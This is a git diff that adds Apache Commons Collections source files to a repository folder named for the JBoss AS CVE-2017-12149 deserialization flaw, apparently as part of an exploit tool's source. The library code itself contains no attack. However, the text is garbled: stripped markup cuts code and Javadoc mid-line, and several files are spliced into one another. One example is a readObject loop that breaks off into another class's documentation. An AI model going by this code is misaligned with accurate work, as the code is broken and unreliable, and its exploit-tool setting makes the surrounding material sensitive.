+ }
+ }
+ return changed;
+ }
+
+ /**
+ * Replaces the element at the specified position in this list with the
+ * specified element.
+ *
+ * @param index index of element to replace.
+ * @param element element to be stored at the specified position.
+ * @return the element previously at the specified position.
+ *
+ * @throws ClassCastException if the class of the specified element
+ * prevents it from being added to this list.
+ * @throws IllegalArgumentException if some aspect of the specified
+ * element prevents it from being added to this list.
+ * @throws IndexOutOfBoundsException if the index is out of range
+ * (index < 0 || index >= size()).
+ */
+ public Object set(int index, Object element) {
+ Listable elt = getListableAt(index);
+ Object val = elt.setValue(element);
+ broadcastListableChanged(elt);
+ return val;
+ }
+
+ /**
+ * Returns the number of elements in this list.
+ * @return the number of elements in this list.
+ */
+ public int size() {
+ return _size;
+ }
+
+ /**
+ * Returns an array containing all of the elements in this list in proper
+ * sequence. Obeys the general contract of the {@link Collection#toArray} method.
+ *
+ * @return an array containing all of the elements in this list in proper
+ * sequence.
+ */
+ public Object[] toArray() {
+ Object[] array = new Object[_size];
+ int i = 0;
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ array[i++] = elt.value();
+ }
+ return array;
+ }
+
+ /**
+ * Returns an array containing all of the elements in this list in proper
+ * sequence; the runtime type of the returned array is that of the
+ * specified array. Obeys the general contract of the
+ * {@link Collection#toArray} method.
+ *
+ * @param a the array into which the elements of this list are to
+ * be stored, if it is big enough; otherwise, a new array of the
+ * same runtime type is allocated for this purpose.
+ * @return an array containing the elements of this list.
+ * @exception ArrayStoreException
+ * if the runtime type of the specified array
+ * is not a supertype of the runtime type of every element in
+ * this list.
+ */
+ public Object[] toArray(Object a[]) {
+ if(a.length < _size) {
+ a = (Object[])Array.newInstance(a.getClass().getComponentType(), _size);
+ }
+ int i = 0;
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ a[i++] = elt.value();
+ }
+ if(a.length > _size) {
+ a[_size] = null; // should we null out the rest of the array also? java.util.LinkedList doesn't
+ }
+ return a;
+ }
+
+ /**
+ * Returns a {@link String} representation of this list, suitable for debugging.
+ * @return a {@link String} representation of this list, suitable for debugging.
+ */
+ public String toString() {
+ StringBuffer buf = new StringBuffer();
+ buf.append("[");
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ if(_head.next() != elt) {
+ buf.append(", ");
+ }
+ buf.append(elt.value());
+ }
+ buf.append("]");
+ return buf.toString();
+ }
+
+ /**
+ * Returns a fail-fast sublist.
+ * @see List#subList(int,int)
+ */
+ public List subList(int i, int j) {
+ if(i < 0 || j > _size || i > j) {
+ throw new IndexOutOfBoundsException();
+ } else if(i == 0 && j == _size) {
+ return this;
+ } else {
+ return new CursorableSubList(this,i,j);
+ }
+ }
+
+ //--- protected methods ------------------------------------------
+
+ /**
+ * Inserts a new value into my
+ * list, after the specified before element, and before the
+ * specified after element
+ *
+ * @return the newly created
+ * {@link org.apache.commons.collections.CursorableLinkedList.Listable}
+ */
+ protected Listable insertListable(Listable before, Listable after, Object value) {
+ _modCount++;
+ _size++;
+ Listable elt = new Listable(before,after,value);
+ if(null != before) {
+ before.setNext(elt);
+ } else {
+ _head.setNext(elt);
+ }
+
+ if(null != after) {
+ after.setPrev(elt);
+ } else {
+ _head.setPrev(elt);
+ }
+ broadcastListableInserted(elt);
+ return elt;
+ }
+
+ /**
+ * Removes the given
+ * {@link org.apache.commons.collections.CursorableLinkedList.Listable}
+ * from my list.
+ */
+ protected void removeListable(Listable elt) {
+ _modCount++;
+ _size--;
+ if(_head.next() == elt) {
+ _head.setNext(elt.next());
+ }
+ if(null != elt.next()) {
+ elt.next().setPrev(elt.prev());
+ }
+ if(_head.prev() == elt) {
+ _head.setPrev(elt.prev());
+ }
+ if(null != elt.prev()) {
+ elt.prev().setNext(elt.next());
+ }
+ broadcastListableRemoved(elt);
+ }
+
+ /**
+ * Returns the
+ * {@link org.apache.commons.collections.CursorableLinkedList.Listable}
+ * at the specified index.
+ *
+ * @throws IndexOutOfBoundsException if index is less than zero or
+ * greater than or equal to the size of this list.
+ */
+ protected Listable getListableAt(int index) {
+ if(index < 0 || index >= _size) {
+ throw new IndexOutOfBoundsException(String.valueOf(index) + " < 0 or " + String.valueOf(index) + " >= " + _size);
+ }
+ if(index <=_size/2) {
+ Listable elt = _head.next();
+ for(int i = 0; i < index; i++) {
+ elt = elt.next();
+ }
+ return elt;
+ } else {
+ Listable elt = _head.prev();
+ for(int i = (_size-1); i > index; i--) {
+ elt = elt.prev();
+ }
+ return elt;
+ }
+ }
+
+ /**
+ * Registers a {@link CursorableLinkedList.Cursor} to be notified
+ * of changes to this list.
+ */
+ protected void registerCursor(Cursor cur) {
+ // We take this opportunity to clean the _cursors list
+ // of WeakReference objects to garbage-collected cursors.
+ for (Iterator it = _cursors.iterator(); it.hasNext(); ) {
+ WeakReference ref = (WeakReference) it.next();
+ if (ref.get() == null) {
+ it.remove();
+ }
+ }
+
+ _cursors.add( new WeakReference(cur) );
+ }
+
+ /**
+ * Removes a {@link CursorableLinkedList.Cursor} from
+ * the set of cursors to be notified of changes to this list.
+ */
+ protected void unregisterCursor(Cursor cur) {
+ for (Iterator it = _cursors.iterator(); it.hasNext(); ) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor == null) {
+ // some other unrelated cursor object has been
+ // garbage-collected; let's take the opportunity to
+ // clean up the cursors list anyway..
+ it.remove();
+
+ } else if (cursor == cur) {
+ ref.clear();
+ it.remove();
+ break;
+ }
+ }
+ }
+
+ /**
+ * Informs all of my registered cursors that they are now
+ * invalid.
+ */
+ protected void invalidateCursors() {
+ Iterator it = _cursors.iterator();
+ while (it.hasNext()) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor != null) {
+ // cursor is null if object has been garbage-collected
+ cursor.invalidate();
+ ref.clear();
+ }
+ it.remove();
+ }
+ }
+
+ /**
+ * Informs all of my registered cursors that the specified
+ * element was changed.
+ * @see #set(int,java.lang.Object)
+ */
+ protected void broadcastListableChanged(Listable elt) {
+ Iterator it = _cursors.iterator();
+ while (it.hasNext()) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor == null) {
+ it.remove(); // clean up list
+ } else {
+ cursor.listableChanged(elt);
+ }
+ }
+ }
+
+ /**
+ * Informs all of my registered cursors that the specified
+ * element was just removed from my list.
+ */
+ protected void broadcastListableRemoved(Listable elt) {
+ Iterator it = _cursors.iterator();
+ while (it.hasNext()) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor == null) {
+ it.remove(); // clean up list
+ } else {
+ cursor.listableRemoved(elt);
+ }
+ }
+ }
+
+ /**
+ * Informs all of my registered cursors that the specified
+ * element was just added to my list.
+ */
+ protected void broadcastListableInserted(Listable elt) {
+ Iterator it = _cursors.iterator();
+ while (it.hasNext()) {
+ WeakReference ref = (WeakReference) it.next();
+ Cursor cursor = (Cursor) ref.get();
+ if (cursor == null) {
+ it.remove(); // clean up list
+ } else {
+ cursor.listableInserted(elt);
+ }
+ }
+ }
+
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeInt(_size);
+ Listable cur = _head.next();
+ while (cur != null) {
+ out.writeObject(cur.value());
+ cur = cur.next();
+ }
+ }
+
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ _size = 0;
+ _modCount = 0;
+ _cursors = new ArrayList();
+ _head = new Listable(null,null,null);
+ int size = in.readInt();
+ for (int i=0;isetMap(Map)
in their constructor
+ * (or invoke the Map constructor) specifying a map instance that will be used
+ * to store the contents of the bag.
+ * setMap(Map)
in
+ * their constructors.
+ */
+ public DefaultMapBag() {
+ }
+
+ /**
+ * Constructor that assigns the specified Map as the backing store.
+ * The map must be empty.
+ *
+ * @param map the map to assign
+ */
+ protected DefaultMapBag(Map map) {
+ setMap(map);
+ }
+
+ /**
+ * Adds a new element to the bag by incrementing its count in the
+ * underlying map.
+ *
+ * @param object the object to add
+ * @return true
if the object was not already in the uniqueSet
+ */
+ public boolean add(Object object) {
+ return add(object, 1);
+ }
+
+ /**
+ * Adds a new element to the bag by incrementing its count in the map.
+ *
+ * @param object the object to search for
+ * @param nCopies the number of copies to add
+ * @return true
if the object was not already in the uniqueSet
+ */
+ public boolean add(Object object, int nCopies) {
+ _mods++;
+ if (nCopies > 0) {
+ int count = (nCopies + getCount(object));
+ _map.put(object, new Integer(count));
+ _total += nCopies;
+ return (count == nCopies);
+ } else {
+ return false;
+ }
+ }
+
+ /**
+ * Invokes {@link #add(Object)} for each element in the given collection.
+ *
+ * @param coll the collection to add
+ * @return true
if this call changed the bag
+ */
+ public boolean addAll(Collection coll) {
+ boolean changed = false;
+ Iterator i = coll.iterator();
+ while (i.hasNext()) {
+ boolean added = add(i.next());
+ changed = changed || added;
+ }
+ return changed;
+ }
+
+ /**
+ * Clears the bag by clearing the underlying map.
+ */
+ public void clear() {
+ _mods++;
+ _map.clear();
+ _total = 0;
+ }
+
+ /**
+ * Determines if the bag contains the given element by checking if the
+ * underlying map contains the element as a key.
+ *
+ * @param object the object to search for
+ * @return true if the bag contains the given element
+ */
+ public boolean contains(Object object) {
+ return _map.containsKey(object);
+ }
+
+ /**
+ * Determines if the bag contains the given elements.
+ *
+ * @param coll the collection to check against
+ * @return true
if the Bag contains all the collection
+ */
+ public boolean containsAll(Collection coll) {
+ return containsAll(new HashBag(coll));
+ }
+
+ /**
+ * Returns true
if the bag contains all elements in
+ * the given collection, respecting cardinality.
+ *
+ * @param other the bag to check against
+ * @return true
if the Bag contains all the collection
+ */
+ public boolean containsAll(Bag other) {
+ boolean result = true;
+ Iterator i = other.uniqueSet().iterator();
+ while (i.hasNext()) {
+ Object current = i.next();
+ boolean contains = getCount(current) >= other.getCount(current);
+ result = result && contains;
+ }
+ return result;
+ }
+
+ /**
+ * Returns true if the given object is not null, has the precise type
+ * of this bag, and contains the same number of occurrences of all the
+ * same elements.
+ *
+ * @param object the object to test for equality
+ * @return true if that object equals this bag
+ */
+ public boolean equals(Object object) {
+ if (object == this) {
+ return true;
+ }
+ if (object instanceof Bag == false) {
+ return false;
+ }
+ Bag other = (Bag) object;
+ if (other.size() != size()) {
+ return false;
+ }
+ for (Iterator it = _map.keySet().iterator(); it.hasNext();) {
+ Object element = (Object) it.next();
+ if (other.getCount(element) != getCount(element)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Returns the hash code of the underlying map.
+ *
+ * @return the hash code of the underlying map
+ */
+ public int hashCode() {
+ return _map.hashCode();
+ }
+
+ /**
+ * Returns true if the underlying map is empty.
+ *
+ * @return true if there are no elements in this bag
+ */
+ public boolean isEmpty() {
+ return _map.isEmpty();
+ }
+
+ public Iterator iterator() {
+ return new BagIterator(this, extractList().iterator());
+ }
+
+ static class BagIterator implements Iterator {
+ private DefaultMapBag _parent = null;
+ private Iterator _support = null;
+ private Object _current = null;
+ private int _mods = 0;
+
+ public BagIterator(DefaultMapBag parent, Iterator support) {
+ _parent = parent;
+ _support = support;
+ _current = null;
+ _mods = parent.modCount();
+ }
+
+ public boolean hasNext() {
+ return _support.hasNext();
+ }
+
+ public Object next() {
+ if (_parent.modCount() != _mods) {
+ throw new ConcurrentModificationException();
+ }
+ _current = _support.next();
+ return _current;
+ }
+
+ public void remove() {
+ if (_parent.modCount() != _mods) {
+ throw new ConcurrentModificationException();
+ }
+ _support.remove();
+ _parent.remove(_current, 1);
+ _mods++;
+ }
+ }
+
+ public boolean remove(Object object) {
+ return remove(object, getCount(object));
+ }
+
+ public boolean remove(Object object, int nCopies) {
+ _mods++;
+ boolean result = false;
+ int count = getCount(object);
+ if (nCopies <= 0) {
+ result = false;
+ } else if (count > nCopies) {
+ _map.put(object, new Integer(count - nCopies));
+ result = true;
+ _total -= nCopies;
+ } else { // count > 0 && count <= i
+ // need to remove all
+ result = (_map.remove(object) != null);
+ _total -= count;
+ }
+ return result;
+ }
+
+ public boolean removeAll(Collection coll) {
+ boolean result = false;
+ if (coll != null) {
+ Iterator i = coll.iterator();
+ while (i.hasNext()) {
+ boolean changed = remove(i.next(), 1);
+ result = result || changed;
+ }
+ }
+ return result;
+ }
+
+ /**
+ * Remove any members of the bag that are not in the given
+ * bag, respecting cardinality.
+ *
+ * @param coll the collection to retain
+ * @return true if this call changed the collection
+ */
+ public boolean retainAll(Collection coll) {
+ return retainAll(new HashBag(coll));
+ }
+
+ /**
+ * Remove any members of the bag that are not in the given
+ * bag, respecting cardinality.
+ * @see #retainAll(Collection)
+ *
+ * @param other the bag to retain
+ * @return true
if this call changed the collection
+ */
+ public boolean retainAll(Bag other) {
+ boolean result = false;
+ Bag excess = new HashBag();
+ Iterator i = uniqueSet().iterator();
+ while (i.hasNext()) {
+ Object current = i.next();
+ int myCount = getCount(current);
+ int otherCount = other.getCount(current);
+ if (1 <= otherCount && otherCount <= myCount) {
+ excess.add(current, myCount - otherCount);
+ } else {
+ excess.add(current, myCount);
+ }
+ }
+ if (!excess.isEmpty()) {
+ result = removeAll(excess);
+ }
+ return result;
+ }
+
+ /**
+ * Returns an array of all of this bag's elements.
+ *
+ * @return an array of all of this bag's elements
+ */
+ public Object[] toArray() {
+ return extractList().toArray();
+ }
+
+ /**
+ * Returns an array of all of this bag's elements.
+ *
+ * @param array the array to populate
+ * @return an array of all of this bag's elements
+ */
+ public Object[] toArray(Object[] array) {
+ return extractList().toArray(array);
+ }
+
+ /**
+ * Returns the number of occurrence of the given element in this bag
+ * by looking up its count in the underlying map.
+ *
+ * @param object the object to search for
+ * @return the number of occurrences of the object, zero if not found
+ */
+ public int getCount(Object object) {
+ int result = 0;
+ Integer count = MapUtils.getInteger(_map, object);
+ if (count != null) {
+ result = count.intValue();
+ }
+ return result;
+ }
+
+ /**
+ * Returns an unmodifiable view of the underlying map's key set.
+ *
+ * @return the set of unique elements in this bag
+ */
+ public Set uniqueSet() {
+ return UnmodifiableSet.decorate(_map.keySet());
+ }
+
+ /**
+ * Returns the number of elements in this bag.
+ *
+ * @return the number of elements in this bag
+ */
+ public int size() {
+ return _total;
+ }
+
+ /**
+ * Actually walks the bag to make sure the count is correct and
+ * resets the running total
+ *
+ * @return the current total size
+ */
+ protected int calcTotalSize() {
+ _total = extractList().size();
+ return _total;
+ }
+
+ /**
+ * Utility method for implementations to set the map that backs
+ * this bag. Not intended for interactive use outside of
+ * subclasses.
+ */
+ protected void setMap(Map map) {
+ if (map == null || map.isEmpty() == false) {
+ throw new IllegalArgumentException("The map must be non-null and empty");
+ }
+ _map = map;
+ }
+
+ /**
+ * Utility method for implementations to access the map that backs
+ * this bag. Not intended for interactive use outside of
+ * subclasses.
+ */
+ protected Map getMap() {
+ return _map;
+ }
+
+ /**
+ * Create a list for use in iteration, etc.
+ */
+ private List extractList() {
+ List result = new ArrayList();
+ Iterator i = uniqueSet().iterator();
+ while (i.hasNext()) {
+ Object current = i.next();
+ for (int index = getCount(current); index > 0; index--) {
+ result.add(current);
+ }
+ }
+ return result;
+ }
+
+ /**
+ * Return number of modifications for iterator.
+ *
+ * @return the modification count
+ */
+ private int modCount() {
+ return _mods;
+ }
+
+ /**
+ * Implement a toString() method suitable for debugging.
+ *
+ * @return a debugging toString
+ */
+ public String toString() {
+ StringBuffer buf = new StringBuffer();
+ buf.append("[");
+ Iterator i = uniqueSet().iterator();
+ while (i.hasNext()) {
+ Object current = i.next();
+ int count = getCount(current);
+ buf.append(count);
+ buf.append(":");
+ buf.append(current);
+ if (i.hasNext()) {
+ buf.append(",");
+ }
+ }
+ buf.append("]");
+ return buf.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DefaultMapEntry.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DefaultMapEntry.java"
new file mode 100644
index 0000000..f4ca45f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DefaultMapEntry.java"
@@ -0,0 +1,162 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Map;
+
+/**
+ * A default implementation of {@link java.util.Map.Entry}
+ *
+ * @deprecated Use the version in the keyvalue subpackage. Will be removed in v4.0
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.21 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author James Strachan
+ * @author Michael A. Smith
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ */
+public class DefaultMapEntry implements Map.Entry, KeyValue {
+
+ /** The key */
+ private Object key;
+ /** The value */
+ private Object value;
+
+ /**
+ * Constructs a new DefaultMapEntry
with a null key
+ * and null value.
+ */
+ public DefaultMapEntry() {
+ super();
+ }
+
+ /**
+ * Constructs a new DefaultMapEntry
with the given
+ * key and given value.
+ *
+ * @param entry the entry to copy, must not be null
+ * @throws NullPointerException if the entry is null
+ */
+ public DefaultMapEntry(Map.Entry entry) {
+ super();
+ this.key = entry.getKey();
+ this.value = entry.getValue();
+ }
+
+ /**
+ * Constructs a new DefaultMapEntry
with the given
+ * key and given value.
+ *
+ * @param key the key for the entry, may be null
+ * @param value the value for the entry, may be null
+ */
+ public DefaultMapEntry(Object key, Object value) {
+ super();
+ this.key = key;
+ this.value = value;
+ }
+
+ // Map.Entry interface
+ //-------------------------------------------------------------------------
+ /**
+ * Gets the key from the Map Entry.
+ *
+ * @return the key
+ */
+ public Object getKey() {
+ return key;
+ }
+
+ /**
+ * Sets the key stored in this Map Entry.
+ * null
.
+ * @throws NullPointerException if the enumeration parameter is null
.
+ */
+ public static List toList(Enumeration enumeration) {
+ return IteratorUtils.toList(new EnumerationIterator(enumeration));
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ExtendedProperties.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ExtendedProperties.java"
new file mode 100644
index 0000000..874afc5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ExtendedProperties.java"
@@ -0,0 +1,1632 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.LineNumberReader;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.io.Reader;
+import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+import java.util.Properties;
+import java.util.StringTokenizer;
+import java.util.Vector;
+
+/**
+ * This class extends normal Java properties by adding the possibility
+ * to use the same key many times concatenating the value strings
+ * instead of overwriting them.
+ * PropertiesConfiguration
class in
+ * Commons-Configuration as soon as it is released.
+ *
+ *
+ *
+ * key = value
+ *
+ * # lines starting with # are comments
+ *
+ * # This is the simplest property
+ * key = value
+ *
+ * # A long property may be separated on multiple lines
+ * longvalue = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
+ * aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+ *
+ * # This is a property with many tokens
+ * tokens_on_a_line = first token, second token
+ *
+ * # This sequence generates exactly the same result
+ * tokens_on_multiple_lines = first token
+ * tokens_on_multiple_lines = second token
+ *
+ * # commas may be escaped in tokens
+ * commas.escaped = Hi\, what'up?
+ *
+ *
+ * resource.loader = file
+ *
+ * is already present in the configuration and you
+ *
+ * addProperty("resource.loader", "classpath")
+ *
+ * Then you will end up with a Vector like the
+ * following:
+ *
+ * ["file", "classpath"]
+ *
+ * @param key the key to add
+ * @param value the value to add
+ */
+ public void addProperty(String key, Object value) {
+ if (value instanceof String) {
+ String str = (String) value;
+ if (str.indexOf(PropertiesTokenizer.DELIMITER) > 0) {
+ // token contains commas, so must be split apart then added
+ PropertiesTokenizer tokenizer = new PropertiesTokenizer(str);
+ while (tokenizer.hasMoreTokens()) {
+ String token = tokenizer.nextToken();
+ addPropertyInternal(key, unescape(token));
+ }
+ } else {
+ // token contains no commas, so can be simply added
+ addPropertyInternal(key, unescape(str));
+ }
+ } else {
+ addPropertyInternal(key, value);
+ }
+
+ // Adding a property connotes initialization
+ isInitialized = true;
+ }
+
+ /**
+ * Adds a key/value pair to the map. This routine does
+ * no magic morphing. It ensures the keylist is maintained
+ *
+ * @param key the key to store at
+ * @param value the decoded object to store
+ */
+ private void addPropertyDirect(String key, Object value) {
+ // safety check
+ if (!containsKey(key)) {
+ keysAsListed.add(key);
+ }
+ put(key, value);
+ }
+
+ /**
+ * Adds a decoded property to the map w/o checking for commas - used
+ * internally when a property has been broken up into
+ * strings that could contain escaped commas to prevent
+ * the inadvertent vectorization.
+ * true
, on
,
+ * and yes
for a true
boolean value, and
+ * false
, off
, and no
for
+ * false
boolean values. Case of value to test for
+ * boolean status is ignored.
+ *
+ * @param value the value to test for boolean state
+ * @return true
or false
if the supplied
+ * text maps to a boolean value, or null
otherwise.
+ */
+ public String testBoolean(String value) {
+ String s = value.toLowerCase();
+
+ if (s.equals("true") || s.equals("on") || s.equals("yes")) {
+ return "true";
+ } else if (s.equals("false") || s.equals("off") || s.equals("no")) {
+ return "false";
+ } else {
+ return null;
+ }
+ }
+
+ /**
+ * Get a byte associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated byte.
+ * @throws NoSuchElementException is thrown if the key doesn't
+ * map to an existing object.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Byte.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public byte getByte(String key) {
+ Byte b = getByte(key, null);
+ if (b != null) {
+ return b.byteValue();
+ } else {
+ throw new NoSuchElementException('\'' + key + " doesn't map to an existing object");
+ }
+ }
+
+ /**
+ * Get a byte associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated byte.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Byte.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public byte getByte(String key, byte defaultValue) {
+ return getByte(key, new Byte(defaultValue)).byteValue();
+ }
+
+ /**
+ * Get a byte associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated byte if key is found and has valid
+ * format, default value otherwise.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Byte.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public Byte getByte(String key, Byte defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof Byte) {
+ return (Byte) value;
+
+ } else if (value instanceof String) {
+ Byte b = new Byte((String) value);
+ put(key, b);
+ return b;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getByte(key, defaultValue);
+ } else {
+ return defaultValue;
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Byte object");
+ }
+ }
+
+ /**
+ * Get a short associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated short.
+ * @throws NoSuchElementException is thrown if the key doesn't
+ * map to an existing object.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Short.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public short getShort(String key) {
+ Short s = getShort(key, null);
+ if (s != null) {
+ return s.shortValue();
+ } else {
+ throw new NoSuchElementException('\'' + key + "' doesn't map to an existing object");
+ }
+ }
+
+ /**
+ * Get a short associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated short.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Short.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public short getShort(String key, short defaultValue) {
+ return getShort(key, new Short(defaultValue)).shortValue();
+ }
+
+ /**
+ * Get a short associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated short if key is found and has valid
+ * format, default value otherwise.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Short.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public Short getShort(String key, Short defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof Short) {
+ return (Short) value;
+
+ } else if (value instanceof String) {
+ Short s = new Short((String) value);
+ put(key, s);
+ return s;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getShort(key, defaultValue);
+ } else {
+ return defaultValue;
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Short object");
+ }
+ }
+
+ /**
+ * The purpose of this method is to get the configuration resource
+ * with the given name as an integer.
+ *
+ * @param name The resource name.
+ * @return The value of the resource as an integer.
+ */
+ public int getInt(String name) {
+ return getInteger(name);
+ }
+
+ /**
+ * The purpose of this method is to get the configuration resource
+ * with the given name as an integer, or a default value.
+ *
+ * @param name The resource name
+ * @param def The default value of the resource.
+ * @return The value of the resource as an integer.
+ */
+ public int getInt(String name, int def) {
+ return getInteger(name, def);
+ }
+
+ /**
+ * Get a int associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated int.
+ * @throws NoSuchElementException is thrown if the key doesn't
+ * map to an existing object.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Integer.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public int getInteger(String key) {
+ Integer i = getInteger(key, null);
+ if (i != null) {
+ return i.intValue();
+ } else {
+ throw new NoSuchElementException('\'' + key + "' doesn't map to an existing object");
+ }
+ }
+
+ /**
+ * Get a int associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated int.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Integer.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public int getInteger(String key, int defaultValue) {
+ Integer i = getInteger(key, null);
+
+ if (i == null) {
+ return defaultValue;
+ }
+ return i.intValue();
+ }
+
+ /**
+ * Get a int associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated int if key is found and has valid
+ * format, default value otherwise.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Integer.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public Integer getInteger(String key, Integer defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof Integer) {
+ return (Integer) value;
+
+ } else if (value instanceof String) {
+ Integer i = new Integer((String) value);
+ put(key, i);
+ return i;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getInteger(key, defaultValue);
+ } else {
+ return defaultValue;
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Integer object");
+ }
+ }
+
+ /**
+ * Get a long associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated long.
+ * @throws NoSuchElementException is thrown if the key doesn't
+ * map to an existing object.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Long.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public long getLong(String key) {
+ Long l = getLong(key, null);
+ if (l != null) {
+ return l.longValue();
+ } else {
+ throw new NoSuchElementException('\'' + key + "' doesn't map to an existing object");
+ }
+ }
+
+ /**
+ * Get a long associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated long.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Long.
+ * @throws NumberFormatException is thrown if the value mapped
+ * by the key has not a valid number format.
+ */
+ public long getLong(String key, long defaultValue) {
+ return getLong(key, new Long(defaultValue)).longValue();
+ }
+
+ /**
+ * Get a long associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated long if key is found and has valid
+ * format, default value otherwise.
